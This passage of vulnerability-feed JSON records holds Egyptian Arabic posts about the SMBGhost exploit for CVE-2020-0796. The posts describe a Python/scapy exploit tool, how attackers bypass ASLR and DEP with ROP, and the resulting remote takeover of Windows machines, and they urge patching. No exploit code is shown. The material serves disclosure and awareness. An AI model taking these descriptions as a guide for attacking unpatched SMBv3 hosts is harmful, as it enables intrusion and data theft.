\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0623\u0648 \u0625\u0630\u0646 \u0645\u0633\u0628\u0642\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0645\u0643\u062a\u0648\u0628\u0629 \u0628\u0644\u063a\u0629 \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0628\u0627\u064a\u062b\u0648\u0646 \u0648\u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0645\u0643\u062a\u0628\u0627\u062a \u0632\u064a scapy \u0639\u0634\u0627\u0646 \u062a\u0648\u0644\u062f \u0648\u062a\u0639\u062f\u0644 \u0639\u0644\u0649 \u0627\u0644\u0628\u0627\u0643\u062a\u0633 (Packets) \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0628\u0627\u062f\u0644 \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0639\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u0644\u064a \u062d\u0635\u0644 \u0625\u0646\u0647 \u0641\u064a \u0645\u0627\u0631\u0633 2020\u060c \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0623\u0639\u0644\u0646\u062a \u0639\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0648\u0646\u0634\u0631\u062a \u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0644\u0625\u0635\u0644\u0627\u062d\u0647\u0627\u060c \u0628\u0633 \u0643\u062a\u064a\u0631 \u0645\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u062d\u0648\u0644 \u0627\u0644\u0639\u0627\u0644\u0645 \u0645\u0627 \u0637\u0628\u0642\u062a\u0634 \u0627\u0644\u062a\u062d\u062f\u064a\u062b \u062f\u0627 \u0641\u0648\u0631\u0627\u064b\u060c \u0641\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0643\u0627\u0646\u062a \u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u060c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0644\u064a \u0643\u062a\u0628 \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0643\u0627\u0646 \u0647\u062f\u0641\u0647 \u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0639\u0634\u0627\u0646 \u064a\u062b\u0628\u062a \u062a\u062d\u0643\u0645\u0647 \u0627\u0644\u0643\u0627\u0645\u0644 \u0639\u0644\u0649 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0645\u0627 \u0637\u0628\u0642\u062a\u0634 \u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0623\u0645\u0646\u064a\u060c \u0643\u062a\u0627\u0628\u0629 exploit \u0644\u062b\u063a\u0631\u0629 \u0632\u064a \u062f\u064a \u0628\u062a\u062d\u062a\u0627\u062c \u0645\u0639\u0631\u0641\u0629 \u062a\u0642\u0646\u064a\u0629 \u0639\u0627\u0644\u064a\u0629 \u062c\u062f\u0627\u064b\u060c \u0645\u0634 \u0628\u0633 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629\u060c \u0644\u0643\u0646 \u0643\u0645\u0627\u0646 \u0641\u064a \u0641\u0647\u0645 \u0639\u0645\u064a\u0642 \u0644\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644\u0627\u062a \u0627\u0644\u0634\u0628\u0643\u064a\u0629 \u0648\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u062a\u0642\u0646\u064a\u0629 \u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u062a\u0634\u063a\u064a\u0644\u060c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u064a\u062d\u062a\u0627\u062c \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0625\u0646\u0647 \u064a\u0639\u0645\u0644 \u062a\u062d\u0644\u064a\u0644 \u0644\u0644\u062b\u063a\u0631\u0629 (Reverse Engineering) \u0639\u0634\u0627\u0646 \u064a\u0639\u0631\u0641 \u0625\u064a\u0647 \u0627\u0644\u062e\u0644\u0644 \u0627\u0644\u0644\u064a \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0643\u0648\u062f \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u0628\u0639\u062f\u0647\u0627 \u064a\u0628\u062a\u062f\u064a \u064a\u0643\u062a\u0628 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0644\u064a \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062e\u0644\u0644 \u062f\u0627\u060c \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u0644\u064a \u0628\u062a\u0648\u0627\u062c\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0647\u064a \u0625\u0646\u0647 \u064a\u0644\u0627\u0642\u064a \u0637\u0631\u064a\u0642\u0629 \u0639\u0634\u0627\u0646 \u064a\u0639\u062f\u064a \u0645\u0646 \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u064a\u0641\u0639\u0644 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u062e\u0628\u064a\u062b \u0628\u062f\u0648\u0646 \u0645\u0627 \u064a\u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u060c \u0648\u062f\u0627 \u0628\u064a\u062d\u062a\u0627\u062c \u0645\u0646\u0647 \u062a\u062c\u0631\u0628\u0629 \u0648\u0627\u062e\u062a\u0628\u0627\u0631 \u0645\u0633\u062a\u0645\u0631 \u0644\u062d\u062f \u0645\u0627 \u064a\u0648\u0635\u0644 \u0644\u0643\u0648\u062f \u064a\u0643\u0648\u0646 \u0641\u0639\u0627\u0644 \u0628\u0646\u0633\u0628\u0629 \u0643\u0628\u064a\u0631\u0629\u060c \u062e\u0637\u0648\u0631\u0629 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u064a\u062c\u064a \u0645\u0646 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u0623\u0648\u0627\u0645\u0631 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0636\u062d\u064a\u0629 \u0628\u062f\u0648\u0646 \u0623\u064a \u062a\u0641\u0627\u0639\u0644 \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u060c \u064a\u0639\u0646\u064a \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0645\u0643\u0646 \u064a\u0639\u0645\u0644 \u0623\u064a \u062d\u0627\u062c\u0629 \u0628\u062f\u0627\u064a\u0629 \u0645\u0646 \u0633\u0631\u0642\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629 \u0644\u062d\u062f \u062a\u0639\u0637\u064a\u0644 \u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0627\u0644\u0643\u0627\u0645\u0644\u060c \u062f\u0627 \u063a\u064a\u0631 \u0625\u0646\u0647 \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0635\u0627\u0628\u0629 \u0643\u0645\u0646\u0635\u0627\u062a \u0644\u0634\u0646 \u0647\u062c\u0645\u0627\u062a \u0623\u0643\u0628\u0631 \u0639\u0644\u0649 \u0623\u0647\u062f\u0627\u0641 \u062a\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0628\u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u062e\u0637\u0648\u0631\u062a\u0647\u0627 \u0625\u0644\u0627 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0627\u0639\u062f \u0641\u0631\u0642 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0639\u0644\u0649 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0648\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0645\u062d\u062a\u0627\u062c\u0629 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0623\u0645\u0646\u064a\u0629\u060c \u0627\u0644\u0645\u0647\u0645 \u0625\u0646\u0643 \u0644\u0648 \u0628\u062a\u062f\u064a\u0631 \u0634\u0628\u0643\u0629 \u0623\u0648 \u062d\u062a\u0649 \u062c\u0647\u0627\u0632 \u0634\u062e\u0635\u064a\u060c \u0644\u0627\u0632\u0645 \u062a\u062a\u0623\u0643\u062f \u0625\u0646\u0643 \u062f\u0627\u064a\u0645\u0627\u064b \u0628\u062a\u062d\u062f\u062b \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u062a\u062b\u0628\u062a \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u0648\u0631 \u0646\u0632\u0648\u0644\u0647\u0627 \u0639\u0634\u0627\u0646 \u062a\u062d\u0645\u064a \u0646\u0641\u0633\u0643 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0644\u064a \u0632\u064a \u062f\u064a\u060c \u062e\u0644\u0627\u0635\u0629 \u0627\u0644\u0643\u0644\u0627\u0645\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0645\u062b\u0627\u0644 \u062d\u064a \u0639\u0644\u0649 \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u0623\u0645\u0627\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0648\u0639\u0644\u0649 \u0642\u062f \u0625\u064a\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0645\u0645\u0643\u0646 \u064a\u0643\u0648\u0646\u0648\u0627 \u0645\u0628\u062f\u0639\u064a\u0646 \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641\u0647\u0645\u060c \u0648\u0623\u064a\u0636\u0627\u064b \u062a\u0630\u0643\u064a\u0631 \u0628\u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u0628\u0642\u0627\u0621 \u0639\u0644\u0649 \u0627\u0637\u0644\u0627\u0639 \u062f\u0627\u064a\u0645 \u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u0623\u0641\u0636\u0644 \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0623\u0646\u0638\u0645\u0629.", "creation_timestamp": "2024-07-12T07:53:50.000000Z"}, {"uuid": "6562f476-7214-40b9-aaad-92690192a740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/TechnologyMakers_Articles/172", "content": "\u0627\u0644\u0645\u0648\u0636\u0648\u0639 \u0628\u064a\u062a\u0643\u0644\u0645 \u0639\u0646 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0623\u0645\u0646\u064a \u0645\u0647\u0645 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0627\u0644\u062e\u0627\u0635 \u0628\u0623\u0646\u0638\u0645\u0629 \u0648\u064a\u0646\u062f\u0648\u0632 CVE-2020-0796 \u0623\u0648 \u0632\u064a \u0645\u0627 \u0628\u064a\u0637\u0644\u0642\u0648\u0627 \u0639\u0644\u064a\u0647 \u0623\u062d\u064a\u0627\u0646\u064b\u0627 \u0627\u0633\u0645 \"SMBGhost\" \u0647\u0648 \u062b\u063a\u0631\u0629 \u0628\u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0634\u063a\u0644 \u0623\u0643\u0648\u0627\u062f \u0636\u0627\u0631\u0629 \u0639\u0646 \u0628\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0644\u0623\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0623\u064a \u0647\u0627\u0643\u0631 \u0628\u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0635\u0627\u0628\u0629 \u0648\u0643\u0623\u0646\u0647\u0645 \u062c\u0648\u0627 \u0627\u0644\u062c\u0647\u0627\u0632 \u0628\u064a\u0642\u062f\u0631\u0648\u0627 \u064a\u062b\u0628\u062a\u0648\u0627 \u0628\u0631\u0627\u0645\u062c \u0636\u0627\u0631\u0629 \u064a\u0633\u0631\u0642\u0648\u0627 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0623\u0648 \u062d\u062a\u0649 \u064a\u062d\u0648\u0644\u0648\u0627 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0644\u0634\u0628\u0643\u0629 Botnet \u0627\u0644\u0644\u064a \u0647\u064a \u0634\u0628\u0643\u0629 \u0645\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0628\u064a\u062a\u0645 \u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a\u0647\u0627 \u0639\u0646 \u0628\u0639\u062f \u0644\u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0645\u0627\u062a \u0623\u0643\u0628\u0631\n\n\u0627\u0644\u0640Exploit \u062f\u0647 \u062a\u0645 \u0643\u062a\u0627\u0628\u062a\u0647 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0645\u0639\u0642\u062f\u0629 \u0648\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0627\u0644\u0644\u064a \u0627\u0634\u062a\u063a\u0644\u0648\u0627 \u0639\u0644\u064a\u0647 \u0648\u0627\u062c\u0647\u0648\u0627 \u062a\u062d\u062f\u064a\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0623\u0648\u0644 \u062d\u0627\u062c\u0629 \u0644\u0627\u0632\u0645 \u0646\u0639\u0631\u0641\u0647\u0627 \u0625\u0646 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0647\u0648 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0634\u0628\u0643\u064a \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0646\u0642\u0644 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0629 \u0648\u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0643\u0644 \u0646\u0633\u062e \u0648\u064a\u0646\u062f\u0648\u0632 \u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0627\u0644\u0644\u064a \u062d\u0635\u0644 \u0647\u0648 \u0625\u0646\u0647\u0645 \u0627\u0643\u062a\u0634\u0641\u0648\u0627 \u0625\u0646 \u0641\u064a\u0647 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0637\u0631\u064a\u0642\u0629 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0644\u0628\u0639\u0636 \u0627\u0644\u0631\u0633\u0627\u0626\u0644 \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0628\u0639\u062a \u0639\u0628\u0631 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u062f\u064a \u0628\u062a\u062e\u0644\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u064a\u0642\u0628\u0644 \u0623\u0643\u0648\u0627\u062f \u0636\u0627\u0631\u0629 \u0648\u0628\u064a\u0634\u063a\u0644\u0647\u0627 \u0643\u0623\u0646\u0647\u0627 \u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0646\u0641\u0633\u0647\n\n\u0639\u0645\u0644\u064a\u0629 \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u0640Exploit \u0643\u0627\u0646\u062a \u0645\u0639\u0642\u062f\u0629 \u062c\u062f\u064b\u0627 \u0644\u0623\u0646 \u0627\u0644\u0640SMB3 \u0647\u0648 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0645\u0639\u0642\u062f \u0648\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0627\u0644\u0644\u064a \u0634\u063a\u0627\u0644\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0643\u0627\u0646\u0648\u0627 \u0645\u062d\u062a\u0627\u062c\u064a\u0646 \u064a\u0641\u0647\u0645\u0648\u0627 \u0643\u0648\u064a\u0633 \u062c\u062f\u064b\u0627 \u0625\u0632\u0627\u064a \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0628\u064a\u0634\u062a\u063a\u0644 \u0648\u0627\u064a\u0647 \u0647\u064a \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0644\u064a \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u063a\u0644\u0648\u0647\u0627 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0643\u0627\u0646\u062a \u0641\u064a\u0647 \u0635\u0639\u0648\u0628\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0632\u064a \u0645\u062b\u0644\u0627 \u0625\u0646\u0647 \u0643\u0627\u0646 \u0644\u0627\u0632\u0645 \u064a\u0641\u0647\u0645\u0648\u0627 \u062a\u0641\u0627\u0635\u064a\u0644 \u0639\u0645\u064a\u0642\u0629 \u062c\u062f\u064b\u0627 \u0639\u0646 \u0628\u0646\u064a\u0629 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0646\u0641\u0633\u0647 \u0648\u0639\u0646 \u0637\u0631\u064a\u0642\u0629 \u0639\u0645\u0644 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0641\u064a \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0648\u0643\u0645\u0627\u0646 \u0639\u0646 \u0637\u0631\u0642 \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0644\u064a \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0628\u062a\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0639\u0634\u0627\u0646 \u062a\u0645\u0646\u0639 \u0627\u0644\u062d\u0627\u062c\u0627\u062a \u062f\u064a\n\n\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u062f\u0648\u0644 \u0643\u0627\u0646\u0648\u0627 \u0645\u062d\u062a\u0627\u062c\u064a\u0646 \u064a\u062a\u062e\u0637\u0648\u0627 \u0643\u0644 \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u062f\u064a \u0639\u0634\u0627\u0646 \u064a\u0642\u062f\u0631\u0648\u0627 \u064a\u0634\u063a\u0644\u0648\u0627 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629 \u0639\u0646 \u0628\u0639\u062f \u062f\u064a \u0639\u0645\u0644\u064a\u0629 \u0645\u0634 \u0633\u0647\u0644\u0629 \u0625\u0637\u0644\u0627\u0642\u064b\u0627 \u0644\u0623\u0646 \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0632\u064a \u0627\u0644\u0640ASLR \u0648\u0627\u0644\u0640DEP \u0627\u0644\u0644\u064a \u0647\u0645\u0627 \u0628\u064a\u063a\u064a\u0631\u0648\u0627 \u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0648\u0628\u064a\u0645\u0646\u0639\u0648\u0627 \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629 \u0628\u0633\u0647\u0648\u0644\u0629 \u0639\u0634\u0627\u0646 \u0643\u062f\u0647 \u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0643\u0627\u0646 \u0644\u0627\u0632\u0645 \u064a\u0644\u0627\u0642\u0648\u0627 \u0637\u0631\u064a\u0642\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0645\u0643\u0627\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u062f\u064a \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062f\u0642\u064a\u0642\u0629 \u062c\u062f\u064b\u0627 \u0648\u0639\u0634\u0627\u0646 \u064a\u062a\u063a\u0644\u0628\u0648\u0627 \u0639\u0644\u0649 \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u062f\u064a \u0627\u0633\u062a\u062e\u062f\u0645\u0648\u0627 \u062d\u0627\u062c\u0627\u062a \u0632\u064a \u0627\u0644\u0640ROP \u0627\u0644\u0644\u064a \u0647\u064a \u062a\u0642\u0646\u064a\u0629 \u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0642\u0637\u0639 \u0635\u063a\u064a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0623\u0635\u0644\u0627 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0639\u0634\u0627\u0646 \u062a\u0634\u063a\u0644 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629\n\n\u0637\u0628\u0639\u0627 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u062f\u064a \u0643\u0627\u0646\u062a \u0628\u062a\u0627\u062e\u062f \u0648\u0642\u062a \u0637\u0648\u064a\u0644 \u062c\u062f\u0627 \u0648\u0643\u0627\u0646\u0648\u0627 \u0628\u064a\u0648\u0627\u062c\u0647\u0648\u0627 \u0645\u0634\u0627\u0643\u0644 \u0643\u062a\u064a\u0631 \u0641\u064a \u0643\u0644 \u062e\u0637\u0648\u0629 \u0644\u0623\u0646\u0647 \u0632\u064a \u0645\u0627 \u0642\u0648\u0644\u0646\u0627 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0645\u0639\u0642\u062f \u0648\u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u0643\u062a\u064a\u0631\u0629 \u0628\u0633 \u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0642\u062f\u0631\u0648\u0627 \u064a\u0643\u062a\u0628\u0648\u0627 \u0627\u0644\u0640Exploit \u0648\u064a\u062b\u0628\u062a\u0648\u0627 \u0625\u0646\u0647 \u0628\u064a\u0634\u062a\u063a\u0644 \u0639\u0644\u0649 \u0623\u0646\u0638\u0645\u0629 \u0648\u064a\u0646\u062f\u0648\u0632 \u0645\u0639\u064a\u0646\u0629 \u0632\u064a \u0648\u064a\u0646\u062f\u0648\u0632 10 \u0648\u064a\u0646\u062f\u0648\u0632 \u0633\u064a\u0631\u0641\u0631 2016 \u0648\u0648\u064a\u0646\u062f\u0648\u0632 \u0633\u064a\u0631\u0641\u0631 2019\n\n\u062e\u0637\u0648\u0631\u0629 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u064a\u062c\u064a \u0645\u0646 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0623\u064a \u0647\u0627\u0643\u0631 \u0628\u0623\u0646\u0647 \u064a\u062a\u062d\u0643\u0645 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644 \u0648\u062f\u064a \u0645\u0634\u0643\u0644\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u062e\u0635\u0648\u0635\u0627 \u0644\u0648 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u062f\u064a \u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0634\u0628\u0643\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0632\u064a \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0623\u0648 \u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062d\u0643\u0648\u0645\u064a\u0629 \u0644\u0623\u0646 \u062f\u0647 \u0645\u0645\u0643\u0646 \u064a\u0624\u062f\u064a \u0644\u062a\u0633\u0631\u064a\u0628 \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629 \u0623\u0648 \u062a\u062f\u0645\u064a\u0631 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644 \u0648\u062f\u064a \u062d\u0627\u062c\u0629 \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u0627\n\n\u0644\u0630\u0644\u0643 \u0644\u0648 \u0623\u064a \u0647\u0627\u0643\u0631 \u0639\u0627\u064a\u0632 \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0644\u0627\u0632\u0645 \u064a\u0643\u0648\u0646 \u0639\u0646\u062f\u0647 \u0641\u0647\u0645 \u0639\u0645\u064a\u0642 \u062c\u062f\u0627 \u0639\u0646 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0648\u0639\u0646 \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0648\u0643\u0645\u0627\u0646 \u064a\u0643\u0648\u0646 \u0639\u0646\u062f\u0647 \u0627\u0644\u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u0643\u0627\u0641\u064a\u0629 \u0644\u062a\u062e\u0637\u064a \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u0627\u0644\u0644\u064a \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u062d\u0637\u062a\u0647\u0627 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0627\u0644\u0644\u064a \u0628\u0646\u0635\u062d \u0628\u064a\u0647 \u0623\u064a \u062d\u062f \u0628\u064a\u0634\u062a\u063a\u0644 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u062f\u0647 \u0625\u0646\u0647 \u062f\u0627\u064a\u0645\u0627 \u064a\u0637\u0644\u0639 \u0639\u0644\u0649 \u0643\u0644 \u062c\u062f\u064a\u062f \u0648\u064a\u062d\u0627\u0648\u0644 \u064a\u0641\u0647\u0645 \u062a\u0641\u0627\u0635\u064a\u0644 \u0623\u0643\u062a\u0631 \u0639\u0646 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644\u0627\u062a \u0648\u0627\u0644\u0646\u0638\u0645 \u0627\u0644\u0644\u064a \u0628\u064a\u0634\u062a\u063a\u0644 \u0639\u0644\u064a\u0647\u0627 \u0639\u0634\u0627\u0646 \u064a\u0642\u062f\u0631 \u064a\u0643\u062a\u0628 Exploits \u0646\u0627\u062c\u062d\u0629 \u0648\u0645\u0624\u062b\u0631\u0629\n\n\u0631\u0627\u0628\u0637 \u0627\u0644\u0640EXPLOIT", "creation_timestamp": "2024-08-14T17:15:27.000000Z"}, {"uuid": "9e5dc591-b80d-4629-88ae-823c9d9a04c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/malwaremanzero/73", "content": "\u0628\u0623\u062e\u062a\u0635\u0627\u0631 \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0627\u0644\u0644\u064a \u0639\u0644\u0649 GitHub 